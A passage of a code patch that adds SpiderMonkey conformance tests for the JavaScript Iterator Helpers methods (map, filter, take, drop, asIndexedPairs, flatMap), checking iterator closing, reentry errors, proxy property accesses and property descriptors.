+ assertEq(iterator.closed, true);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js
new file mode 100644
index 0000000000..4aceacebb6
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods don't close the iterator if `.next` call throws.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ throw new TestError();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const iterator = new TestIterator();
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ assertEq(iterator.closed, false);
+ assertThrowsInstanceOf(() => method(iterator).next(), TestError);
+ assertEq(iterator.closed, false);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js
new file mode 100644
index 0000000000..1ca88ca9b5
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js
@@ -0,0 +1,48 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods don't close the iterator if `value` throws.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return {
+ get value() {
+ throw new TestError();
+ }
+ };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const iterator = new TestIterator();
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ assertEq(iterator.closed, false);
+ assertThrowsInstanceOf(() => method(iterator).next(), TestError);
+ assertEq(iterator.closed, false);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js
new file mode 100644
index 0000000000..d6b3f14277
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: true, value: 'value'};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ const iterator = method(new TestIterator());
+ const result = iterator.next();
+ assertEq(result.done, true);
+ assertEq(result.value, undefined);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-return-close-iterator-once.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-return-close-iterator-once.js
new file mode 100644
index 0000000000..34c165b86d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-return-close-iterator-once.js
@@ -0,0 +1,60 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `.return()` on a lazy %Iterator.prototype% method multiple times closes the source iterator once.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closeCount = 0;
+ return(value) {
+ this.closeCount++;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+// Call `return` after stepping the iterator once:
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+ iterHelper.next();
+
+ assertEq(iter.closeCount, 0);
+ iterHelper.return();
+ assertEq(iter.closeCount, 1);
+ iterHelper.return();
+ assertEq(iter.closeCount, 1);
+}
+
+// Call `return` before stepping the iterator:
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closeCount, 0);
+ iterHelper.return();
+ assertEq(iter.closeCount, 1);
+ iterHelper.return();
+ assertEq(iter.closeCount, 1);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js
new file mode 100644
index 0000000000..6c044cbd89
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js
@@ -0,0 +1,62 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `.throw()` on a lazy %Iterator.prototype% method multiple times closes the source iterator once.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closeCount = 0;
+ return(value) {
+ this.closeCount++;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+// Call `throw` after stepping the iterator once:
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+ iterHelper.next();
+
+ assertEq(iter.closeCount, 0);
+ assertThrowsInstanceOf(() => iterHelper.throw(new TestError()), TestError);
+ assertEq(iter.closeCount, 1);
+ assertThrowsInstanceOf(() => iterHelper.throw(new TestError()), TestError);
+ assertEq(iter.closeCount, 1);
+}
+
+// Call `throw` before stepping the iterator:
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closeCount, 0);
+ assertThrowsInstanceOf(() => iterHelper.throw(new TestError()), TestError);
+ assertEq(iter.closeCount, 1);
+ assertThrowsInstanceOf(() => iterHelper.throw(new TestError()), TestError);
+ assertEq(iter.closeCount, 1);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-pass-through-lastValue.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-pass-through-lastValue.js
new file mode 100644
index 0000000000..a7195b38e4
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-pass-through-lastValue.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+class TestIterator extends Iterator {
+ next(value) {
+ return {done: false, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(2),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+];
+
+for (const method of methods) {
+ const iterator = new TestIterator();
+ const iteratorHelper = method(iterator);
+ iteratorHelper.next();
+ let result = iteratorHelper.next('last value');
+ assertEq(result.done, false);
+ // Array.isArray is used to make sure we unwrap asIndexedPairs results.
+ assertEq(Array.isArray(result.value) ? result.value[1] : result.value, 'last value');
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-pass-value-through-chain.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-pass-value-through-chain.js
new file mode 100644
index 0000000000..553e6934f7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-pass-value-through-chain.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+class TestIterator extends Iterator {
+ next(value) {
+ return {done: false, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(2),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+];
+
+for (const outerMethod of methods) {
+ for (const innerMethod of methods) {
+ const iterator = new TestIterator();
+ const iteratorChain = outerMethod(innerMethod(iterator));
+ iteratorChain.next();
+ let result = iteratorChain.next('last value');
+ assertEq(result.done, false);
+ // Unwrap the asIndexedPair return values.
+ while (Array.isArray(result.value)) {
+ result.value = result.value[1];
+ }
+ assertEq(result.value, 'last value');
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-proxy-accesses.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-proxy-accesses.js
new file mode 100644
index 0000000000..d391a4f199
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-proxy-accesses.js
@@ -0,0 +1,70 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods access specified properties only.
+info: >
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ value = 0;
+ next() {
+ if (this.value < 2)
+ return { done: false, value: this.value++ };
+ return { done: true, value: undefined };
+ }
+}
+
+const handlerProxy = log => new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ const target = args[0];
+ const item = Reflect[key](...args);
+
+ log.push(`${key}: ${args.filter(x => typeof x != 'object').map(x => x.toString())}`);
+
+ return item;
+ },
+});
+
+const methods = [
+ [iter => iter.map(x => x), 'map'],
+ [iter => iter.filter(x => true), 'filter'],
+ [iter => iter.take(4), 'take'],
+ [iter => iter.drop(0), 'drop'],
+ [iter => iter.asIndexedPairs(), 'asIndexedPairs'],
+ [iter => iter.flatMap(x => [x]), 'flatMap'],
+];
+
+for (const method of methods) {
+ const log = [];
+ const iteratorProxy = new Proxy(new TestIterator(), handlerProxy(log));
+ const iteratorHelper = method[0](iteratorProxy);
+ const methodName = method[1];
+
+ iteratorHelper.next();
+ iteratorHelper.next();
+ iteratorHelper.next();
+ assertEq(iteratorHelper.next().done, true);
+
+ assertEq(
+ log.join('\n'),
+ `get: ${methodName}
+get: next
+get: value
+get: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+set: value,1
+get: value
+get: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+set: value,2
+get: value`
+ )
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-reentry-not-close-iterator.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-reentry-not-close-iterator.js
new file mode 100644
index 0000000000..da1e4c8c29
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-reentry-not-close-iterator.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+const methods = [
+ [iter => iter.map, x => x],
+ [iter => iter.filter, x => true],
+ [iter => iter.flatMap, x => [x]],
+];
+
+for (const method of methods) {
+ const iter = [1, 2, 3].values();
+ const iterMethod = method[0](iter);
+ let iterHelper;
+ let reentered = false;
+ iterHelper = iterMethod.call(iter, x => {
+ if (x == 2) {
+ // Reenter the currently running generator.
+ reentered = true;
+ assertThrowsInstanceOf(() => iterHelper.next(), TypeError);
+ }
+ return method[1](x);
+ });
+
+ let result = iterHelper.next();
+ assertEq(result.value, 1);
+ assertEq(result.done, false);
+
+ assertEq(reentered, false);
+ result = iterHelper.next();
+ assertEq(reentered, true);
+ assertEq(result.value, 2);
+ assertEq(result.done, false);
+
+ result = iterHelper.next();
+ assertEq(result.value, 3);
+ assertEq(result.done, false);
+
+ result = iterHelper.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-return-closes-iterator.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-return-closes-iterator.js
new file mode 100644
index 0000000000..45fa3105df
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-return-closes-iterator.js
@@ -0,0 +1,58 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `.return()` on a lazy %Iterator.prototype% method closes the source iterator.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+ iterHelper.next();
+
+ assertEq(iter.closed, false);
+ const result = iterHelper.return(0);
+ assertEq(iter.closed, true);
+ assertEq(result.done, true);
+ assertEq(result.value, 0);
+}
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closed, false);
+ const result = iterHelper.return(0);
+ assertEq(iter.closed, true);
+ assertEq(result.done, true);
+ assertEq(result.value, 0);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-return-new-iterator-result.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-return-new-iterator-result.js
new file mode 100644
index 0000000000..407782fae5
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-return-new-iterator-result.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy Iterator Helper methods return new iterator result objects.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+const iterResult = {done: false, value: 1, testProperty: 'test'};
+class TestIterator extends Iterator {
+ next() {
+ return iterResult;
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+// Call `return` before stepping the iterator:
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+ const result = iterHelper.next();
+ assertEq(result == iterResult, false);
+ assertEq(result.testProperty, undefined);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-closes-iterator-before-next.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-closes-iterator-before-next.js
new file mode 100644
index 0000000000..d3197fc107
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-closes-iterator-before-next.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `.throw()` on a lazy %Iterator.prototype% method closes the source iterator.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closed, false);
+ assertThrowsInstanceOf(() => iterHelper.throw(new TestError()), TestError);
+ assertEq(iter.closed, true);
+
+ const result = iterHelper.next();
+ assertEq(result.done, true);
+ assertEq(result.value, undefined);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js
new file mode 100644
index 0000000000..22d9bbd48a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods throw eagerly when `next` is non-callable.
+info: >
+ Iterator Helpers proposal 1.1.1
+features: [iterator-helpers]
+---*/
+
+const methods = [
+ next => Iterator.prototype.map.bind({next}, x => x),
+ next => Iterator.prototype.filter.bind({next}, x => x),
+ next => Iterator.prototype.take.bind({next}, 1),
+ next => Iterator.prototype.drop.bind({next}, 0),
+ next => Iterator.prototype.asIndexedPairs.bind({next}),
+ next => Iterator.prototype.flatMap.bind({next}, x => [x]),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(method(0), TypeError);
+ assertThrowsInstanceOf(method(false), TypeError);
+ assertThrowsInstanceOf(method(undefined), TypeError);
+ assertThrowsInstanceOf(method(null), TypeError);
+ assertThrowsInstanceOf(method(''), TypeError);
+ assertThrowsInstanceOf(method(Symbol('')), TypeError);
+ assertThrowsInstanceOf(method({}), TypeError);
+ assertThrowsInstanceOf(method([]), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js
new file mode 100644
index 0000000000..7c31a21a38
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods throw eagerly when passed non-callables.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+const methods = [
+ (iter, fn) => iter.map(fn),
+ (iter, fn) => iter.filter(fn),
+ (iter, fn) => iter.flatMap(fn),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(() => method(Iterator.prototype, 0), TypeError);
+ assertThrowsInstanceOf(() => method(Iterator.prototype, false), TypeError);
+ assertThrowsInstanceOf(() => method(Iterator.prototype, undefined), TypeError);
+ assertThrowsInstanceOf(() => method(Iterator.prototype, null), TypeError);
+ assertThrowsInstanceOf(() => method(Iterator.prototype, ''), TypeError);
+ assertThrowsInstanceOf(() => method(Iterator.prototype, Symbol('')), TypeError);
+ assertThrowsInstanceOf(() => method(Iterator.prototype, {}), TypeError);
+
+ assertThrowsInstanceOf(() => method([].values(), 0), TypeError);
+ assertThrowsInstanceOf(() => method([].values(), false), TypeError);
+ assertThrowsInstanceOf(() => method([].values(), undefined), TypeError);
+ assertThrowsInstanceOf(() => method([].values(), null), TypeError);
+ assertThrowsInstanceOf(() => method([].values(), ''), TypeError);
+ assertThrowsInstanceOf(() => method([].values(), Symbol('')), TypeError);
+ assertThrowsInstanceOf(() => method([].values(), {}), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js
new file mode 100644
index 0000000000..dad38237f1
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods throw eagerly when called on non-iterators.
+info: >
+ Iterator Helpers proposal 1.1.1
+features: [iterator-helpers]
+---*/
+
+const methods = [
+ iter => Iterator.prototype.map.bind(iter, x => x),
+ iter => Iterator.prototype.filter.bind(iter, x => x),
+ iter => Iterator.prototype.take.bind(iter, 1),
+ iter => Iterator.prototype.drop.bind(iter, 0),
+ iter => Iterator.prototype.asIndexedPairs.bind(iter),
+ iter => Iterator.prototype.flatMap.bind(iter, x => [x]),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(method(undefined), TypeError);
+ assertThrowsInstanceOf(method(null), TypeError);
+ assertThrowsInstanceOf(method(0), TypeError);
+ assertThrowsInstanceOf(method(false), TypeError);
+ assertThrowsInstanceOf(method(''), TypeError);
+ assertThrowsInstanceOf(method(Symbol('')), TypeError);
+ assertThrowsInstanceOf(method({}), TypeError);
+ assertThrowsInstanceOf(method([]), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-done-throws.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-done-throws.js
new file mode 100644
index 0000000000..72669beabc
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-done-throws.js
@@ -0,0 +1,47 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods throw if `next.done` throws.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return {
+ get done() {
+ throw new TestError();
+ }
+ };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+ assertThrowsInstanceOf(() => method(iterator).next(), TestError);
+ assertEq(iterator.closed, false);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-not-object.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-not-object.js
new file mode 100644
index 0000000000..1d70ed1d62
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-not-object.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods throw if `next` call returns a non-object.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next(value) {
+ return value;
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ for (const value of [undefined, null, 0, false, '', Symbol('')]) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+ assertThrowsInstanceOf(() => method(iterator).next(value), TypeError);
+ assertEq(iterator.closed, false);
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-on-reentry.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-on-reentry.js
new file mode 100644
index 0000000000..1095842f55
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-on-reentry.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+const methods = [
+ iter => iter.map,
+ iter => iter.filter,
+ iter => iter.flatMap,
+];
+
+for (const method of methods) {
+ const iter = [1].values();
+ const iterMethod = method(iter);
+ let iterHelper;
+ iterHelper = iterMethod.call(iter, x => iterHelper.next());
+ assertThrowsInstanceOf(() => iterHelper.next(), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/call-next-on-iterator-while-iterating.js b/js/src/tests/non262/Iterator/prototype/map/call-next-on-iterator-while-iterating.js
new file mode 100644
index 0000000000..a5a10120a0
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/call-next-on-iterator-while-iterating.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+/*---
+esid: pending
+description: Call next on an iterator that is being iterated over.
+info:
+features: [iterator-helpers]
+---*/
+
+const iterator = [1, 2, 3].values()
+const items = [];
+
+for (const item of iterator.map(x => x ** 2)) {
+ const nextItem = iterator.next();
+ items.push(item, nextItem.value);
+}
+
+assertEq(items[0], 1);
+assertEq(items[1], 2);
+assertEq(items[2], 9);
+assertEq(items[3], undefined);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/clobber-symbol.js b/js/src/tests/non262/Iterator/prototype/map/clobber-symbol.js
new file mode 100644
index 0000000000..8d5b2721e1
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/clobber-symbol.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map works even if the global Symbol has been clobbered..
+info:
+features: [iterator-helpers, Symbol, Symbol.iterator]
+---*/
+
+Symbol = undefined;
+assertThrowsInstanceOf(() => Symbol.iterator, TypeError);
+
+const iterator = [0].values();
+assertEq(
+ iterator.map(x => x + 1).next().value, 1,
+ '`%Iterator.prototype%.map` still works after Symbol has been clobbered'
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/interleaved-map-calls.js b/js/src/tests/non262/Iterator/prototype/map/interleaved-map-calls.js
new file mode 100644
index 0000000000..3253e06192
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/interleaved-map-calls.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Interleaved %Iterator.prototype%.map calls on the same iterator.
+info:
+features: [iterator-helpers]
+---*/
+
+const iterator = [1, 2, 3].values();
+const mapped1 = iterator.map(x => x);
+const mapped2 = iterator.map(x => 0);
+
+assertEq(mapped1.next().value, 1);
+assertEq(mapped2.next().value, 0);
+assertEq(mapped1.next().value, 3);
+
+assertEq(mapped1.next().done, true);
+assertEq(mapped2.next().done, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/length.js b/js/src/tests/non262/Iterator/prototype/map/length.js
new file mode 100644
index 0000000000..d6bc1ca774
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/length.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+includes: [propertyHelper.js]
+features: [Symbol.iterator]
+---*/
+
+assertEq(Iterator.prototype.map.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.map, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/map.js b/js/src/tests/non262/Iterator/prototype/map/map.js
new file mode 100644
index 0000000000..2cf5267be7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/map.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+const map = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'map');
+
+assertEq(
+ Iterator.prototype.map, map.value,
+ 'The value of `%Iterator.prototype%.map` is the same as the value in the property descriptor.'
+);
+
+assertEq(
+ typeof map.value, 'function',
+ '%Iterator.prototype%.map is a function.'
+);
+
+assertEq(map.enumerable, false);
+assertEq(map.writable, true);
+assertEq(map.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
